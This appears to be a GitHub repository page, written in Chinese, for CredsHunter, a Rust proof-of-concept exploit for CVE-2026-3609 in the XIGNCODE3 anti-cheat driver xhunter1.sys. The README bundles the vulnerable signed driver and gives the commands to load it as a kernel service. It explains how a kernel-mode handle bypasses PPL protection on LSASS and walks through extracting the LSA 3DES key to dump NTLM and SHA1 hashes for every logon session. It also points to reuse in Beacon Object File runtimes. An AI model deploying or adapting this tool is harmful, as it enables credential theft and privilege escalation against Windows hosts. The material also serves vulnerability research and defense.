BlackSnufkin/CredsHunter
GitHub: BlackSnufkin/CredsHunter
针对 XIGNCODE3 反作弊驱动 xhunter1.sys 中句柄泄露漏洞(CVE-2026-3609)的 PoC,通过 BYOVD 技术绕过 PPL 保护并转储 LSASS 凭据哈希。
Stars: 20 | Forks: 1
# CredsHunter
[**CVE-2026-3609**](https://nvd.nist.gov/vuln/detail/CVE-2026-3609) · [**Writeup**](https://blacksnufkin.github.io/posts/AntiCheat-LPE-CVE-2026-3609/)
LSASS 凭据转储的概念验证代码,针对 Wellbia 的 XIGNCODE3 反作弊驱动程序 `xhunter1.sys` 中一个绕过 PPL 的进程句柄泄露漏洞。
该驱动程序暴露了一个 `IRP_MJ_WRITE` 命令接口,该接口调用 `ObOpenObjectByPointer` 时设置了 `AccessMode = KernelMode` 并且未指定 `OBJ_KERNEL_HANDLE`,直接将一个由内核生成的 `PROCESS_ALL_ACCESS` 句柄投入到调用者的句柄表中。随后,标准的凭据转储代码从目标进程中读取 `lsasrv.dll` 的 3DES 密钥,并恢复每个活动登录会话的 NTLM + SHA1 哈希。
## 受影响的二进制文件
```
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
```
此仓库中包含了存在漏洞的已签名驱动程序(`xhunter1.sys`),因此该漏洞利用可以端到端地重现。在加载前请验证哈希值:
```
Get-FileHash .\xhunter1.sys -Algorithm SHA256
```
较新的 XIGNCODE3 版本已修补此漏洞。这个存在漏洞的已签名二进制文件依然可以作为一种 BYOVD 原语,在任何可以将其投放并加载的主机上使用。
## 构建
```
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
```
发布的二进制文件位于 `target\release\CredsHunter.exe`。
## 运行
将附带的驱动程序作为内核服务加载(驱动程序的设备 DACL 允许任何调用者在服务运行后进行访问):
```
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
```
运行此工具:
```
.\target\release\CredsHunter.exe
```
运行后进行清理:
```
sc stop xhunter
sc delete xhunter
```
默认设备名称为 `\\.\xhunter`(与上面的示例服务名称匹配)。如果您的服务使用不同的名称,设备路径将相应更改——请相应地编辑 `driver::DEFAULT_DEVICE` 或调用 `Xhunter::open_named`。
## 示例输出
```
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........
[+] IV ....................
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User :
Domain :
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
```
## 工作原理
| 阶段 | 组件 | 发生的操作 |
|---|---|---|
| 1 | `driver.rs` → `Xhunter::open` | `CreateFile("\\.\\xhunter")` — 设备无需身份验证 |
| 2 | `driver.rs` → `Xhunter::open_process` | 带有命令 785 的 `WriteFile`(包含 PID,`PROCESS_ALL_ACCESS`)。驱动程序调用 `ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle)` 并将句柄写回到偏移量为 `+0x10` 的用户响应缓冲区中。该句柄绕过了 PPL,因为 `AccessMode = KernelMode` 跳过了访问检查,并且由于未设置 `OBJ_KERNEL_HANDLE`,它会落入我们的句柄表中。 |
| 3 | `driver.rs` → `Session::attach` | 对内核生成的句柄探测 `ReadProcessMemory`。如果 RPM 被阻止,则回退到驱动程序命令 787(`KeStackAttachProcess` + memcpy)。 |
| 4 | `lsa.rs` | 对本地 `lsasrv.dll` 的 `.text` 节进行模式扫描,以恢复 `LsaInitializeProtectedMemory` 中指向 AES 密钥、3DES 密钥和 IV 的 RIP 相对指针。将这些 VA 重定位到目标的内存映射上,遍历 `BCRYPT_HANDLE_KEY → BCRYPT_KEY81`,并从目标中提取原始的 3DES 字节。 |
| 5 | `logon.rs` | 遍历 `LogonSessionList`(基于每个构建版本的签名表)。每个条目在 `+credentials → +0x10 → +0x30` 处的主凭据包含一个 0x1B0 字节的 3DES 加密数据块。`bcrypt.dll` 对其进行解密;字节 `70..86` 是 NT 哈希,字节 `102..122` 是 SHA1。 |
## 项目结构
```
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
```
`MemReader` trait 抽象了内存读取操作,因此凭据提取模块不依赖于特定的驱动程序原语。在不同的读取器上实现此 trait(例如 Beacon Object File 运行时,基于 ptwalk 的物理内存读取器),`lsa` / `logon` / `wdigest` 模块即可原封不动地投入使用。
## 已知限制
- **WDigest 明文恢复是尽力而为的。** 列表头签名是继承自最初公开 PoC 的单字节模式(`48 3B D9 74`),并且尚未针对 Windows 11 build 26100+ 进行更新。将其扩展为基于构建版本的表很简单;欢迎提交 PR。
- **服务 / 设备名称**被硬编码为 `xhunter`。如果您以不同的名称加载驱动程序,请编辑 `driver::DEFAULT_DEVICE` 或将覆盖值传递给 `Xhunter::open_named`。
## 免责声明
仅供研究、授权测试和防御工具开发使用。在您不拥有或未获得明确测试授权的系统上加载此易受攻击的驱动程序,在大多数司法管辖区均属于犯罪行为。作者对任何滥用行为不承担责任。
## 许可证
详见 [`LICENSE`](LICENSE)。
标签:BYOVD, CVE-2026-3609, IRP_MJ_WRITE, LPE, LSASS内存读取, NTLM哈希, PoC, PPL绕过, Rust, SHA1哈希, Web报告查看器, Windows内核安全, xhunter1.sys, XIGNCODE3, 任意句柄操作, 内核驱动漏洞, 凭据转储, 反作弊绕过, 句柄泄露, 可视化界面, 哈希破解, 暴力破解, 本地提权, 网络安全, 网络流量审计, 自带易受攻击驱动程序, 进程访问权限, 通知系统, 隐私保护